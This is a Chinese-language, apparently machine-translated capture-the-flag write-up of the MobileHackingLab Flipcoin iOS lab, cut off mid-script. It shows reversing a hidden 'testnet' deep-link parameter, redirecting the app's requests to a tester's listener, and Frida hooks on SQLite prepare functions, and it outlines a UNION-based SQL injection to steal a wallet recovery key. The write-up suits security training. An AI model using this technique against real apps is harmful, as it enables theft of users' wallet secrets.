本文将以两种不同的方式呈现:
- 对于那些只需要这个发现的关键点的人(InshaAllah,假如读者已经熟悉流程,这将节省大量时间)——请参考 TL;DR 部门。
- 对于那些需要基本解释以及这一发现背后的执行流程的人,InshaAllah,本节将提供对关键心态的见解,并帮助扩大理解。
请留意,本文将涵盖:
• URL 方案和深层链接的基本说明
• iOS 应用程序目录结构概述
• 利用 Ghidra在应用程序中查找其他参数
• 在目标应用程序中找到 SQLite 数据库
• 将历程与 Frida 挂钩以检测 sqlite3_prepare 功能
• 利用 Frida监控在准备阶段处理的数据库查询
• 制作 SQL 注入有用负载
别的,这篇文章的某些部门——例如安装须要的工具(OpenSSH、Zip、Sideloaded 和 Ghidra)、复制和安装 iOS 应用程序二进制文件以及将其加载到 Ghidra 中——与上一篇文章中的部门相似。
通过利用 Ghidra 绕过 iOS 应用程序越狱检测
为制止重复,此处将扼要总结这些部门。
I 介绍
以下是本期的关键步骤:
- 从应用程序中的 QR 码获取深度链接。
- 反转应用的二进制文件以辨认深层链接中潜在的其他参数。
- 发现参数和开发 URL(请参阅第 5.5.1 节和 5.5.2 节)。testnet
- 将参数注入深度链接并将其设置为我们 Web 服务器的 IP。服务器收到来自应用程序的哀求,确认该参数未被清理(第 5.6.2 节)。testnettestnet
- 找到存储敏感数据的 SQLite 数据库并查抄其内容。找到一个包罗 5 列的表格(第 6.2 节和第 6.3 节)。
- 确定 to process queries 的用途(第 6.4 节)。sqlite3_prepare
- 注入到参数中,确认查询反射(第 7.1 节)。amount
- 利用基于 UNION 的 SQL 注入来提取(第 7.3 节)。recovery_key
- 总结:由于这是一个需要物理访问的本地 SQL 注入,因此它可以与 unsanitized 参数联合利用,以将提取的数据泄露到攻击者控制的主机。testnet
- 利用的工具: Ghidra、Frida、SQLite 的数据库欣赏器、终端、Sideloadly、SSH、nc。
II. 弁言
无论是在 Web 照旧移动应用程序的应用程序安全测试中,了解应用程序的流程(包罗它如何吸收和处理输入)对于有用辨认潜在漏洞都至关紧张。这种理解很紧张,因为安全风险大概来自多个层面,从终极用户 (客户) 和幕后的运营管理到支持应用程序的技术组件。
例如,从客户的角度来看,应用程序大概看起来很安全,而且有适当的身份验证和访问控制,但由于后端配置错误或权限过高,它仍然存在风险。例如,连接到 API 终端节点的内部控制面板大概允许不受限定的数据库查询,使员工可以或许检索超出运营目标所需的客户记载,而无需适当的过滤或日记记载。假如不清楚地掌握数据在系统内的流动方式以及每一层的交互方式,安全测试就有大概变得不那么有用,从而导致被忽视的漏洞或低效的利用。
在实践中,此原则不仅实用于后端配置错误,也实用于由于不完全了解应用程序流而出现的其他安全风险。一个很好的案例是 Flipcoin Lab。从本质上讲,挑战围绕着通过应用程序的深度链接机制利用 SQL 注入。然而,除了技术重点之外,最突出的是它如何加强了解应用程序流程的紧张性。鉴于它与现实天下挑战的相干性,我们决定在这篇文章中进一步探讨这个主题。
III. 设置测试环境
和以前一样,越狱设备后准备的第一步是安装和配置多个工具,以便于与设备交互。这些基本工具包罗 iOS 上的 OpenSSH、Zip 和 Frida Server,以及桌面上的 Frida、Ghidra 和 Sideloadly。
3.1. 在 iOS 设备上设置工具
3.1.1. 安装 OpenSSH 和 Zip
概括地说,OpenSSH 是通过包管理器(好比 Cydia 或 Sileo)安装的,而是通过在 iOS shell 中运行来安装的。zipapt install zip
OpenSSH 和 Zip
3.1.2. 安装 Frida Server
对于 Frida Server,需要添加一个额外的存储库。在软件包管理器中,在 build.frida.re 处添加存储库。添加后,找到相应的 Frida Server 软件包并继续安装。
安装 Frida 服务器
安装后,通过 SSH 连接到设备并查抄已安装的 Frida 版本以确保一切设置正确,从而对其进行验证。
验证已安装的 Frida 服务器
3.2. 在桌面上设置工具
在 iOS 设备上安装须要的工具后,下一步是在桌面上设置所需的工具。尽管不同作系统的安装过程在很大程度上相似,但值得留意的是,某些工具(例如 Sideloadly)目前仅在 macOS 和 Windows 上受支持。
3.2.1. 安装和设置 Frida
网上有很多关于安装 Frida 的教程。但是,为了简化流程,我个人利用了 pip3。
$ pip3 install frida-tools
正确安装后,Frida 将位于 目录中,尽管确切的路径大概会因用户的环境而异。/Users/username/Library/Python/x.x/bin
已安装的 Frida 的位置
为了使 Frida 易于从任何终端会话访问,我们可以通过将目录添加到 PATH 变量来更新我们的 shell 配置文件(例如 Zsh 的 .zshrc 或 Bash 的 .bash_profile)。进行此更改后,可以从终端中的任何位置访问 Frida。
将目录添加到我们的 PATH 变量中
查抄已安装的 Frida 版本
3.2.2. 安装 Sideloadly
概括地说,此工具通过绕过 App Store 限定简化了 iOS 设备上的应用程序旁加载。它对于测试未签名的应用程序或摆设修改后的版本以进行渗出测试特别有用。但是,请记住:
- 假如利用免费的 Apple ID,则安装的应用程序将仅运行 7 天,然后需要重新签名。
- 在某些环境下,假如应用程序已签名或来自受信托的源,则大概不需要 Sideloadly。
- Sideloadly 仅实用于 macOS 和 Windows。
Sideloadly 的接口
3.2.3. 安装 Ghidra
与之前广泛利用 Ghidra 进行二进制修补的文章不同,在这种环境下,Ghidra 主要用于分析应用程序在处理哀求时利用的参数。
Ghidra 的界面
简而言之,Ghidra 可以从其 GitHub 页面下载。下载后,解压缩文件并通过在已安装 JDK 的环境中运行来启动应用程序。./ghidrarun
有了须要的环境,我们就可以继续执行过程了。此会话中利用的工具数量是有意限定的,因为主要重点是通过深层链接利用 SQLi 泄露数据。
IV. 下载和安装二进制文件
由于我们将利用自己的设备进行测试,因此第一步是下载二进制文件并利用 Sideloadly 进行安装。
但是,假如您还没有 iOS 设备(无论是出于特定思量照旧其他原因),您可以利用 MobileHackingLab 提供的假造设备,该设备可通过订阅得到。
从 Lab Dashboard 下载二进制文件
利用 Sideloadly 安装二进制文件
简而言之,一旦通过拖放安装应用程序,它就不会立即运行。在启动它之前,我们需要验证它是否来自受信托的开发人员。这是一个标准步骤,因为该应用程序是利用免费的 Apple ID 签名的。
要做到这一点,请转到设置→通用→VPN和设备管理,然后找到并验证此菜单中列出的开发者资料。
更改 Trust in Settings
之后,将安装该应用程序。
Flipcoin Lab 界面
无法下载应用程序?请改为实验此作。
假如二进制文件的下载链接无法访问(正如我们在 No-Escape Lab 中所履历的那样),仍然可以通过直接从 MobileHackingLab 提供的假造设备中提取二进制文件来获取二进制文件。
通过 MobileHackingLab 的假造设备访问应用程序
因此,连接到假造设备后,第一步是通过运行以下命令来定位应用程序:
find /var/containers/Bundle/Application/ -name “*.app”
确定应用程序目录后,导航到该目录并将该目录存档在名为 “Payload” 的文件夹中。
复制应用程序
快速提示一下,iOS 要求将 .app 捆绑包放在“Payload”文件夹中,以便正确辨认和安装。不遵循此结构大概会导致错误,例如在利用 Sideloadly 时,“guru meditation b4822c@:*** can't listdir a file”。
打包完成后,可以利用以下命令将 .zip 文件从 iOS 设备传输到桌面:
SCP root@10.11.1.1:/tmp/Flipcoin.zip .
复制应用程序
V. 探索目标中的 URL 方案和深层链接
鉴于本实行的漏洞和目标已知(通过深度链接执行 SQL 注入),通过辨认正在利用的深度链接,可以更加集中地了解应用程序流程的过程。
但是,在现实场景中,需要留意的是,在分析应用程序时,关键步骤之一是彻底了解应用程序中的每个功能。这将帮助测试人员辨认潜在的漏洞,例如大概被滥用的功能、设计缺陷或访问控制标题。
然后,测试人员可以通过探索应用程序如何处理异常输入并分析生成的输出来改进此方法。此过程有助于发现潜在的差距,例如授权标题、输入验证弱点或未加密的通信。
别的,从终极用户级别到后端的多个层评估应用程序也很紧张。通过评估每一层的交互方式,测试人员可以辨认大概无法通过单个镜头看到的潜在漏洞。
5.1. 关于应用程序的 URL 方案和深度链接的几句话
在深入研究之前,起首了解 URL 方案和深层链接的概念是很有用的,因为它们在应用程序如何处理外部哀求中起着关键作用。
5.1.1. 那么,什么是 URL Scheme?
URL 方案是应用程序利用特殊链接告知作系统如何打开应用程序的一种方式。这就像提供一个快捷方式来打开应用程序的特定部门,而无需手动搜索它。
例如,Facebook 大概会利用类似 .因此,当我们单击以 开头的链接时,作系统知道要打开 Facebook 应用程序。fb://fb://
请务必留意,某些应用程序需要在 URL 方案之后利用额外的端点才能正常运行。这就是深度链接概念的来源 — URL 方案和将应用程序引导至特定部门或作的特定端点的组合。
5.1.1.1. 假如应用程序未安装怎么办?
假如在作系统上找不到与 URL 方案关联的应用程序,系统将表现一条错误消息,因为它无法辨认 URL 方案。这是因为 URL 方案仅在设备上安装了应用程序时才会注册。
5.1.1.2. 我留意到未安装的应用程序仍然可以重定向到 App Store。这是怎么发生的呢?
这是通过不同的过程发生的。当我们点击常规 Web URL(例如:https://myapp.com/profile)而不是直接 URL 方案 (myapp://) 时,链接起首在 Web 欣赏器中打开。从那里:
- 网页实验利用其 URL 方案打开应用程序。
- 假如未安装应用程序,它将重定向到 App Store。
这个过程快速而无缝地进行,通常利用通用链接 (iOS) 或应用程序链接 (Android),它们比基本 URL 方案更高级。
5.1.2. 那么,什么是 Deep Link?
深度链接是一种特定范例的 URL,它利用“注册的 URL 方案”将用户定向到应用程序中的特定页面或作。常规链接大概会打开网页,而深层链接会打开应用程序内的特定屏幕或部门。简而言之,深度链接依赖于 URL 方案来触发这些作。
例如,在 Facebook 上,深层链接大概如下所示:.此链接将直接打开 Facebook 应用程序,并表现用户的特定个人资料。fb://profile/[user_id]
因此,为了清楚起见,作为回顾:
- Facebook URL 方案:fb://
- Facebook 深层链接:fb://profile/[user_id]
通过利用此深度链接,用户可以直接定向到 Facebook 应用程序中的特定个人资料页面,而无需欣赏应用程序的其他部门。
5.2. 辨认 Target 中的 URL 方案
辨认目标利用的 URL 方案的最简单方法之一是查看应用程序捆绑包中的 Info.plist 文件。此信息通常位于 CFBundleURLTypes 参数下。
在二进制文件中找到 Info.plist 文件
作为参考,CFBundleURLTypes 是 iOS 系统中的必须组件,用于注册应用程序的 URL 方案。此参数定义 iOS 系统如何辨认特定 URL 方案并将其定向到相应的应用程序。
从技术上讲,在 CFBundleURLTypes 中,有两个主要参数:
- CFBundleURLSchemes → 用于定义将利用的方案。示例:Facebook 的 “fb”。
- CFBundleURLName → 通常包罗与应用程序的捆绑标识符相干的信息。
对于 Flipcoin 应用程序,我们发现该应用程序的捆绑包名为 com.mobilehackinglab.flipcoinwallet,利用的 URL 方案是 flipcoin。
Info.plist 文件中的 CFBundleURLTypes
我找到了 Info.plist,但它不可读。为什么?
假如找不到的 Info.plist 文件以纯文本情势打开,则该文件大概已转换为二进制属性列表。这种格式在 iOS 中通常用于在当前的应用程序开发中存储 plist,因为它被认为在几个方面更有用,例如文件大小和剖析速度。
假如发生这种环境,可以利用多种方法来读取文件:
- 直接利用 Xcode。在 Xcode 中打开时,应用程序将自动以更具可读性的格式表现文件。
- 大概,我们也可以利用 plutil (macOS 上的内置工具)。这可以通过利用以下命令来完成: .plutil -convert xml1 Info.plist -o Info.xml
5.3. 辨认目标中的深度链接。
如今的标题是,如何辨认此应用程序中的深层链接?一般来说,可以利用各种方法发现深度链接,包罗利用 Giidra 等工具进行二进制分析。但是,在这种环境下,我们发现应用程序内的二维码直接指向格式为 .http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
在欣赏器中访问此链接时,它会唯一地通知用户找不到服务器。颠末进一步查抄,发现欣赏器正在去除 后面的冒号 ()。发生这种环境大概是因为欣赏器起首遇到前缀,它将其辨认为标准 Web 协议。因此,它会将自定义 URL 方案错误地解释为域名的一部门,然后删除 之后的冒号,终极导致 URL 无效。:flipcoinhttp://flipcoin://flipcoin
无法辨认 Deep Link
但是,当从扫描的 QR 码结果中删除前缀时,剩余的链接将生效并乐成重定向到应用程序。这确认了深层链接以 .http://flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
打开 Deep Link
5.4. 在 iOS 中验证和打开深度链接
既然已经确定了深度链接格式,那么下一个标题是:当触发此链接时,iOS 如何处理它?此过程的焦点在于系统剖析和打开 URL 方案的本事。
假设用户点击了如下深度链接:flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
发生这种环境时,iOS 起首查抄是否注册了任何已安装的应用程序来处理该方案。假如找到匹配的应用程序,系统会启动该应用程序并将 URL 作为输入通报。否则,深层链接不执行任何作。flipcoin://
大概会出现一个标题:应用程序如安在实验打开深度链接之前确定它是否受支持?在这种环境下,应用通常会先利用以下方法验证网址方案:
- <span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#aa0d91">if</span> <span style="color:#5c2699">UIApplication</span>.shared.canOpenURL(<span style="color:#5c2699">URL</span>(string: <span style="color:#c41a16">"flipcoin://"</span>)!) {
- }</span></span>
复制代码 假如支持 URL 方案,则应用程序可以利用以下方法启动深层链接:
- <span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#5c2699">UIApplication</span>.shared.open(<span style="color:#5c2699">URL</span>(string: <span style="color:#c41a16">"flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1"</span>)!)</span></span>
复制代码 此行为允许应用程序利用深层链接无缝导航,同时防止不须要地实验打开不受支持的 URL。
为了更深入地了解,读者可以参考苹果官方关于 canOpenURL(_:) 和 open(_:options:completionHandler:) 的文档,了解 iOS 是如何验证和启动深度链接的。
5.5. 通过二进制分析分析深度链接处理
在了解了 iOS 如何判断深度链接是否可以打开以及应用如何对外响应之后,尚有一个标题:收到 深度链接后,内部如何处理它?flipcoin
发现这一点的一种方法是分析应用程序的二进制文件,这可以揭示如何处理深度链接、继承哪些参数以及是否存在任何未记载的行为。这大概包罗发现影响深度链接行为的隐藏参数或辨认未公开记载的终端节点。
5.5.1. 在 Ghidra
中搜索 openURL 引用在分析二进制文件时,我们可以利用 Ghidra — 就像以前用来修补二进制文件以绕过应用程序中的越狱检测一样。
回顾一下那篇文章,在这种环境下,我们需要:
• 将二进制文件导入 Ghidra。
• 启用 Decompiler Parameter ID 以提高可读性。
加载二进制文件后,下一步是什么?
一种大概的方法是在 Ghidra 的 Symbol Tree 列中搜索引用,以辨认引用它的函数。openURL
请留意,固然现代 iOS 开发依赖于 和 ,但搜索对于二进制分析仍然很有用,因为:
• 某些应用程序仍生存在旧版或内部实现中。
• 调试信息和元件名称通常引用此术语。canOpenURL( open( ptions:completionHandler openURLopenURL
简而言之,通过在 Symbol Tree 中搜索,我们在 SceneDelegate 中确定了一个函数,该函数好像通过属性处理深层链接处理。openURLopenURLContexts
颠末进一步查抄,函数名称表现为:
_$s15Flipcoin_Wallet13SceneDelegateC5scene_15openURLContextsySo7UISceneC_ShySo16UIOpenURLContextCGtF
在这个函数中,我们发现了一个风趣的发现——除了参数之外,参数还被引用,这表明它也大概影响深度链接的处理方式。amounttestnet
下面是表现此参数的代码片段:
- <span style="background-color:#f9f9f9"><span style="color:#242424">_objc_msgSend(local_4d8,<span style="color:#c41a16">"URL"</span>);
- _objc_retainAutoreleasedReturnValue();
- local_6d0 = <span style="color:#5c2699">UVar14</span>.unknown;
- <span style="color:#5c2699">Foundation</span>::<span style="color:#5c2699">URL</span>::<span style="color:#3f6e74">$_unconditionallyBridgeFromObjectiveC</span>(<span style="color:#5c2699">UVar14</span>);
- (*local_4c8)(<span style="color:#5c2699">UVar16</span>.unknown,local_2d8,local_380);
- <span style="color:#5c2699">SVar31</span> = <span style="color:#5c2699">Foundation</span>::<span style="color:#5c2699">URL</span>::get_absoluteString(<span style="color:#5c2699">UVar16</span>);
- ...
- <span style="color:#5c2699">SVar31</span> = <span style="color:#5c2699">Swift</span>::<span style="color:#5c2699">String</span>::<span style="color:#aa0d91">init</span>(<span style="color:#c41a16">"amount"</span>,<span style="color:#1c00cf">6</span>,<span style="color:#1c00cf">1</span>);
- ...
- <span style="color:#5c2699">SVar31</span> = <span style="color:#5c2699">Foundation</span>::<span style="color:#5c2699">URL</span>::get_absoluteString(<span style="color:#5c2699">UVar16</span>);
- ...
- <span style="color:#5c2699">SVar31</span> = <span style="color:#5c2699">Swift</span>::<span style="color:#5c2699">String</span>::<span style="color:#aa0d91">init</span>(<span style="color:#c41a16">"testnet"</span>,<span style="color:#1c00cf">7</span>,(byte)local_6ac & <span style="color:#1c00cf">1</span>);</span></span>
复制代码

找到几个参数
5.5.2. 找到一个风趣的 URL
作为一个小提示,当在同一函数中进一步向下滚动时,我们可以看到 URL https://mhl.pages.dev:8545。
找到 URL
鉴于我的理解有限,我只能猜疑这个 URL 大概与 有关。testnet
根据流程,假如该值留空,则 URL 默认为 https://mhl.pages.dev:8545。同时,假如提供了一个值,则 URL 好像是从该 input 中获取的。testnet
但是,当实验执行具有空值的深层链接时,应用程序会意外崩溃。这为初始假设是否真的正确带来了一些不确定性。testnet
5.6. 重修 Deep Link
如今,让我们回到主题。在确定其他参数后,下一个逻辑步骤是验证此参数是否可以在我们最初通过 QR 码发现的深度链接中利用。testnet
快速回顾一下,我们找到的原始深度链接是:
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1
如今,我们将实验向其添加参数。由于此参数有大概继承 URL,因此我们可以实验为此参数利用我们自己的主机。这可以利用或其他类似工具进行测试。testnetnc
简而言之,修改后的深度链接将是:
flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=http://192.168.18.177
那么我们如何打开这个 URL 呢?有多种方法可以做到这一点。我们可以利用 qr-code-generator.com 等服务生成二维码并扫描它,大概我们可以利用 Frida 直接执行它。
利用 QR 码生成器服务的示例
5.6.1. 利用 Frida
测试 Deep Link 参数如今,假设我们选择 Frida 来简化作 — 如许我们就不必在每次修改 Deep Link 时都生成 QR 码。但是我们需要什么样的脚本呢?
作为参考,有一个著名的 Frida 脚本,名为 ios-deeplink-fuzzing,可用于检测 URL 方案,利用 Apple 的 API 直接访问深度链接,乃至模糊测试参数来分析应用程序如何处理深度链接。
但是,由于我们在这里的重点只是执行特定的深度链接,而不是执行完备的模糊测试过程,因此我们可以简化该方法。在原始脚本的基础上,我们将其修改为以下最低版本:
- <span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#aa0d91">if</span> (ObjC.available) {
- <span style="color:#aa0d91">var</span> LSApplicationWorkspace = ObjC.classes.LSApplicationWorkspace;
- <span style="color:#aa0d91">if</span> (!LSApplicationWorkspace) {
- console.log(<span style="color:#c41a16">"LSApplicationWorkspace not found!"</span>);
- } <span style="color:#aa0d91">else</span> {
- globalThis.execURL = <span style="color:#aa0d91">function</span> (<span style="color:#5c2699">url</span>) {
- <span style="color:#aa0d91">var</span> workspace = LSApplicationWorkspace.defaultWorkspace();
- <span style="color:#aa0d91">var</span> success = workspace.openSensitiveURL_withOptions_(ObjC.classes.NSURL.URLWithString_(url), <span style="color:#aa0d91">null</span>);
- console.log(<span style="color:#c41a16">"Attempted to execute URL:"</span>, url, <span style="color:#c41a16">"| Success:"</span>, success);
- <span style="color:#aa0d91">return</span> success;
- };
- console.log(<span style="color:#c41a16">"execURL is now available. Use execURL('scheme://path') in Frida."</span>);
- }
- } <span style="color:#aa0d91">else</span> {
- console.log(<span style="color:#c41a16">"Objective-C Runtime is not available!"</span>);
- }</span></span>
复制代码 当利用 Frida 将此脚本注入到正在运行的 iOS 应用程序中时,它起首查抄 Objective-C 运行时是否可用。然后,它访问以与已安装的应用程序交互并定义 execURL,这是一个利用 .最后,它在环球范围内可用,因此可以直接从 Frida 运行。LSApplicationWorkspaceopenSensitiveURL_withOptions_execURL
有了这个,我们可以通过运行以下命令在 Frida 中执行一个深层链接:
execURL("flipcoin://0x252B2Fff0d264d946n1004E581bb0a46175DC009?amount=1&testnet=http://192.168.18.177");
在 Frida 中执行 Deep Link
假如您还不熟悉 Frida,该命令用于枚举 iOS 设备上正在运行的历程(确保您的设备已连接到运行 Frida 的主机)。frida-ps -U
为了简化作,我们可以利用 grep 应用过滤器(可在 macOS 和基于 Linux 的作系统上利用)来优化结果:
% frida-ps -U | grep Flipcoin
得到目标应用程序的历程 ID 后,我们可以继续:
% frida -U -p (process_ID) -l execURL.js
请记下我们之前创建的修改后的脚本。execURL.js
5.6.2. 观察应用程序的响应并发现一个允许任意 URL
的不受限定的测试网参数早先,当利用(QR 码的默认值)发送哀求并设置为我们主机的 IP 地点时,我们遇到了一条消息,指出我们没有足够的 Flipcoins 来完成生意业务。amount=1testnet
测试量 = 1
没有足够的 Flipcoin
为了进一步探索,我们将金额修改为 和 ,思量到应用内余额为 。这一次,该应用程序将我们重定向到资金转账界面。0.10.20.3654
测试量 = 0.1 或 0.2
应用程序将我们重定向到 Transaction 页面。
更风趣的是,我们留意到应用程序向主机上运行的侦听器发送了一个哀求。nc
来自 nc 的回应
这证实了参数继承 URL 的假设。别的,好像没有对此参数欺压执行白名单,从而允许提供任意 URL。testnet
最好的部门是什么?当应用程序执行指向我们主机的深度链接时,它现实上会发送一个哀求 — 该哀求好像包罗应用程序利用的 Flipcoin 地点。testnet
趁便说一句,我们还可以利用像 Burp Suite 如许的拦截工具来查抄哀求。
侦听器工具中的响应
因此,总之,当我们访问包罗 URL 的深度链接时,应用程序会间接将其转换为对参数中指定的 URL 的 POST 哀求。testnet
在我们的 Web 服务器/拦截器中收到如许的哀求后,下一步是查抄应用程序利用的数据库结构。这将帮助我们确定传输值的存储位置以及如何作它们。
VI. 分析应用程序内的 SQLite 利用环境
通常,移动应用程序依赖轻量级 DBMS 进行本地存储,最常用的选择之一是 SQLite。
它的受欢迎程度源于它是一个独立的、无服务器的、高效的数据库引擎,需要最少的设置。由于 iOS 和 Android 都提供了对 SQLite 的内置支持,因此开发人员可以利用其 SQL 功能,而无需额外的依赖项。别的,SQLite 的快速读/写作和低资源消耗使其成为存储用户数据、缓存和应用程序配置的理想选择。
思量到这一点,我们如今继续确定此应用程序是否利用 SQLite 及其数据库的存储位置。
6.1. 关于 iOS 中应用程序目录的几句话
在 iOS 中,应用程序将本地数据存储在其沙盒目录中。持久数据(包罗 SQLite 数据库)的常见位置是应用程序容器内的 or 文件夹。LibraryDocuments
从技术上讲,每个应用程序都有一个独立的存储结构,通常如下所示:
- <span style="background-color:#f9f9f9"><span style="color:#242424">/<span style="color:#aa0d91">var</span>/mobile/<span style="color:#5c2699">Containers</span>/<span style="color:#5c2699">Data</span>/<span style="color:#5c2699">Application</span>/<<span style="color:#5c2699">App_UUID</span>>/
- ├── <span style="color:#5c2699">Documents</span>/
- ├── <span style="color:#5c2699">Library</span>/
- │ ├── <span style="color:#5c2699">Application</span> <span style="color:#5c2699">Support</span>/
- │ ├── <span style="color:#5c2699">Caches</span>/
- ├── tmp/</span></span>
复制代码 此处是分配给每个应用程序的唯一标识符,该标识符在重新安装应用程序时会发生变革。<App_UUID>
以下是这些目录及其功能的扼要概述:
- Documents/– 用于存储用户生成的内容。一些应用程序将数据库放在这里,但对于大概通过 iCloud 共享或备份的文件,这个位置更常见。由于此目录包罗在 iCloud 备份中,因此除非须要,否则开发人员通常会制止在此处存储敏感数据。
- Library/– 此目录通常存储与应用程序相干的数据,包罗 SQLite 数据库、配置文件和缓存。固然通常包罗持久性存储(如本地数据库),但生存可在需要时重新生成的暂时数据。留意:与目录不同 , 用户不能直接访问,但仍可用于应用程序内部作。Application SupportCachesDocumentsLibrary
- tmp/– 系统可以随时删除的暂时文件。
6.2. 查找 SQLite 数据库
要确定应用程序是否利用 SQLite 及其数据库的存储位置,一种常见的方法是与设备建立 SSH 连接并直接查抄其文件系统。
$ find /var/mobile/Containers/Data/Application/ -name “*.sqlite”
查找 .sqlite 文件
从本质上讲,我们可以通过过滤与应用程序相干的数据库文件来优化结果。但是,开发人员并不总是以应用程序本身命名 SQLite 文件。因此,我个人建议花时间手动查抄目录内容,以确保不会遗漏任何紧张内容。grep
作为参考,此应用程序包罗 4 个 SQLite 文件:
• 位于目录中
• 位于 • 位于 • 位于your_database_name.sqliteDocumentsFlipcoin_Wallet.sqlite/Library/Application Support/
AlternativeService.sqlite/Library/Caches/...
httpstorages.sqlite/Library/HTTPStorages/...
其中,存储现实数据的数据库是位于目录中的数据库,即 。Documentsyour_database_name.sqlite
sqlite 文件
有时,在包罗 SQLite 文件的目录中,您大概还会遇到带有 和 扩展名的文件。假如您想知道这些文件是什么,它们是 SQLite 在预写日记记载 (WAL) 模式下运行时利用的支持文件。sqlite-walsqlite-shm
• (预写日记):在将未提交的事务写入主数据库文件之前存储这些事务。-wal
• (共享内存):管理对数据库的并发访问以确保一致性。-shm
无论如何,我们可以忽略它们并专注于文件。.sqlite
6.3. 探索 SQLite 数据库的内容
如今我们已经确定了数据库文件,我们可以欣赏其内容以了解其结构和存储的数据。
从技术上讲,这可以利用各种工具来完成,例如 sqlite3 CLI 或 SQL 的数据库欣赏器。无论利用哪种工具,我们都需要打开以查抄其结构。your_database_name.sqlite
将 sqlite 文件复制到本地计算机
以是,颠末查抄,我们发现钱包表由 5 列构成,分别是 id、address、currency、amount 和 recovery_key。固然我们已经得到了标志,但必须通过 SQL 注入来实现目标,而不是通过利用此方法或反转二进制文件。
找到表格
但是,在汇款屏幕上,仅表现第 1 行的金额和地点。
仅表现第 1 行的金额和地点
也就是说,在拦截哀求时,我们只能观察到应用程序发送的哀求包罗地点,大概尚有第 1 行的 id。
仅表现 Address (地点) ,大概还会表现第 1 行中的 ID
6.4. 利用 Frida 确定 SQLite 函数的利用环境
一旦我们了解了应用程序利用的 SQLite 数据库的结构,我们就可以继续确定如何处理查询,尤其是在执行之前(假如实用)的准备阶段。
尽管焦点 SQL 语法(如 SELECT、INSERT、UPDATE 和 DELETE)保持一致,但我相信观察正在利用的 SQLite prepare 函数可以为应用程序如何构建其查询提供有代价的见解。
通过利用 Frida 拦截通过 SQLite 的准备函数进行的数据库调用,我们可以在准备查询时观察它们。由于 iOS 应用程序通常依赖于处理 SQL 查询,因此挂接这些函数有助于我们了解在准备阶段如何处理查询。libsqlite3.dylib
以下 Frida 脚本演示了此方法:
[code]<span style="background-color:#f9f9f9"><span style="color:#242424"><span style="color:#aa0d91">const</span> SQL_PREPARE_VARIANTS = [
<span style="color:#c41a16">"sqlite3_prepare"</span>,
<span style="color:#c41a16">"sqlite3_prepare_v2"</span>,
<span style="color:#c41a16">"sqlite3_prepare_v3"</span>,
<span style="color:#c41a16">"sqlite3_prepare16"</span>,
<span style="color:#c41a16">"sqlite3_prepare16_v2"</span>,
<span style="color:#c41a16">"sqlite3_prepare16_v3"</span>
];
SQL_PREPARE_VARIANTS.forEach(interceptSQLiteFunction);
<span style="color:#aa0d91">function</span> interceptSQLiteFunction(<span style="color:#5c2699">prepareFunction</span>) {
<span style="color:#aa0d91">let</span> dbFunction = Module.findExportByName(<span style="color:#c41a16">"libsqlite3.dylib"</span>, prepareFunction);
<span style="color:#aa0d91">if</span> (!dbFunction) {
<span style="color:#aa0d91">return</span>;
}
Interceptor.attach(dbFunction, {
onEnter(<span style="color:#5c2699">args</span>) {
<span style="color:#aa0d91">let</span> query = args[<span style="color:#1c00cf">1</span>];
<span style="color:#aa0d91">let</span> isUTF16 = prepareFunction.endsWith(<span style="color:#c41a16">"16"</span>) ||
prepareFunction.includes(<span style="color:#c41a16">"prepare16"</span>);
logQueryDetails(prepareFunction, query, isUTF16);
},
onLeave(<span style="color:#5c2699">returnValue</span>) {}
});
}
<span style="color:#aa0d91">function</span> logQueryDetails(<span style="color:#5c2699">funcName, query, isUTF16</span>) {
<span style="color:#aa0d91">let</span> timestamp = <span style="color:#aa0d91">new</span> Date().toISOString();
<span style="color:#aa0d91">let</span> queryText = isUTF16 ? query.readUtf16String() : query.readCString();
console.log(<span style="color:#c41a16">"━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"</span>);
console.log(<span style="color:#c41a16">`⏰ Time: <span style="color:#000000">${timestamp}</span>`</span>);
console.log(<span style="color:#c41a16">` |